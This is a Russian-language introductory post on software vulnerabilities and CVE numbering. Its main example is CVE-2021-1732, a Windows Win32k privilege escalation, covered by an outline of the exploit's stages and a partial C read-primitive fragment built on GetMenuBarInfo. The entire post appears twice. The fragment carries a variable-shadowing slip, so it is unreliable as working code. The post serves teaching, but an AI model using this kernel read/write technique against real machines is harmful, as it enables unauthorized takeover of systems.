Всех приветствую!
Сегодня мы поговорим об уязвимостях и глянем на одну из них.
Уязвимость — параметр, характеризующий возможность нанесения описываемой системе повреждений любой природы теми или иными внешними средствами или факторами.
Распространенные веб-уязвимости:
После рассмотрения уязвимостей мы можем задаться вопросом:"А как и где мы их возьмем?"
Существует CVE - словарь известных угроз/уязвимостей,к нему мы и обратимся.
На примере возьмём угрозу CVE-2021-1732 - что же за цифры после "CVE" - после слова идет год,а далее номер,присовенный CNA(разработчик,который нашел эту уязвимость)
CVE-2021-1732
Уязвимость в Windows Win32k подсистеме. Win32k — самая популярная подсистема для повышения привилегий. Данная уязвимость не стала исключением. Основные проблемы, которые преследуют эту подсистему — рассинхронизация создания и уничтожения объектов, с которыми работают алгоритмы. Практически всегда это элементы пользовательского интерфейса, которые создаются со случайными значениями параметров инициализации.
Публичный эксплойт для этой уязвимости можно также найти в репозитории здесь.
Сам эксплойт использует достаточно простой алгоритм, однако, благодаря введенным в ОС подсистемам защиты, выполнение этого алгоритма может быть достаточно нетривиальной задачей.
Итак, чтобы повысить привилегии для пользователя, эксплойт выполняет следующие этапы:
QWORD MyRead64(QWORD qwDestAddr)
{
MENUBARINFO pmbi = {};
pmbi.cbSize = sizeof(MENUBARINFO);
if (g_bIsInit)
{
}
else
{
QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200ui64);
memset(pTemp, 0, 0x200);
QWORD qwBase = 0x000000400000000;
QWORD qwAdd = 0x0000000800000008;
for (int i = 0; i < 0x40; i++)
{
*(pTemp + i) = qwBase + qwAdd*i;
}
*(QWORD *)ref_g_pMem5 = (QWORD)pTemp;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
g_pmbi_rcBar_left = pmbi.rcBar.left;
bool g_bIsInit = 1;
}
*(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
return (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}
В качестве примитива на запись используется функция SetWindowLongPtrA. Далее перезатирается токен для выполнения команд с повышенными привелегиями.
Автор материала по уязвимости А.Колесников.
В данной небольшой теме мы разобрались о общем понятии уязвимости и рассмотрели "работающую" из них.
Уязвимости пронумерованы поскольку будут темы по уязвимостям.
Сегодня мы поговорим об уязвимостях и глянем на одну из них.
Уязвимость — параметр, характеризующий возможность нанесения описываемой системе повреждений любой природы теми или иными внешними средствами или факторами.
Распространенные веб-уязвимости:
CSRF
XSS
CSS Injection
Vulnerable components
Unvalidated redirects
После рассмотрения уязвимостей мы можем задаться вопросом:"А как и где мы их возьмем?"
Существует CVE - словарь известных угроз/уязвимостей,к нему мы и обратимся.
На примере возьмём угрозу CVE-2021-1732 - что же за цифры после "CVE" - после слова идет год,а далее номер,присовенный CNA(разработчик,который нашел эту уязвимость)
CVE-2021-1732
Уязвимость в Windows Win32k подсистеме. Win32k — самая популярная подсистема для повышения привилегий. Данная уязвимость не стала исключением. Основные проблемы, которые преследуют эту подсистему — рассинхронизация создания и уничтожения объектов, с которыми работают алгоритмы. Практически всегда это элементы пользовательского интерфейса, которые создаются со случайными значениями параметров инициализации.
Публичный эксплойт для этой уязвимости можно также найти в репозитории здесь.
Сам эксплойт использует достаточно простой алгоритм, однако, благодаря введенным в ОС подсистемам защиты, выполнение этого алгоритма может быть достаточно нетривиальной задачей.
Итак, чтобы повысить привилегии для пользователя, эксплойт выполняет следующие этапы:
- Создание и инициализация фэйковых объектов подсистемы Win32k
- Использование уязвимости или стандартного механизма ОС для получения маппинга оперативной памяти ядра ОС
- Поиск primary Token в памяти запущенного процесса
- Модификация привилегий напрямую или с использованием донорского процесса, как правило это процесс System.exe
QWORD MyRead64(QWORD qwDestAddr)
{
MENUBARINFO pmbi = {};
pmbi.cbSize = sizeof(MENUBARINFO);
if (g_bIsInit)
{
}
else
{
QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200ui64);
memset(pTemp, 0, 0x200);
QWORD qwBase = 0x000000400000000;
QWORD qwAdd = 0x0000000800000008;
for (int i = 0; i < 0x40; i++)
{
*(pTemp + i) = qwBase + qwAdd*i;
}
*(QWORD *)ref_g_pMem5 = (QWORD)pTemp;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
g_pmbi_rcBar_left = pmbi.rcBar.left;
bool g_bIsInit = 1;
}
*(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
return (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}
В качестве примитива на запись используется функция SetWindowLongPtrA. Далее перезатирается токен для выполнения команд с повышенными привелегиями.
Автор материала по уязвимости А.Колесников.
В данной небольшой теме мы разобрались о общем понятии уязвимости и рассмотрели "работающую" из них.
Уязвимости пронумерованы поскольку будут темы по уязвимостям.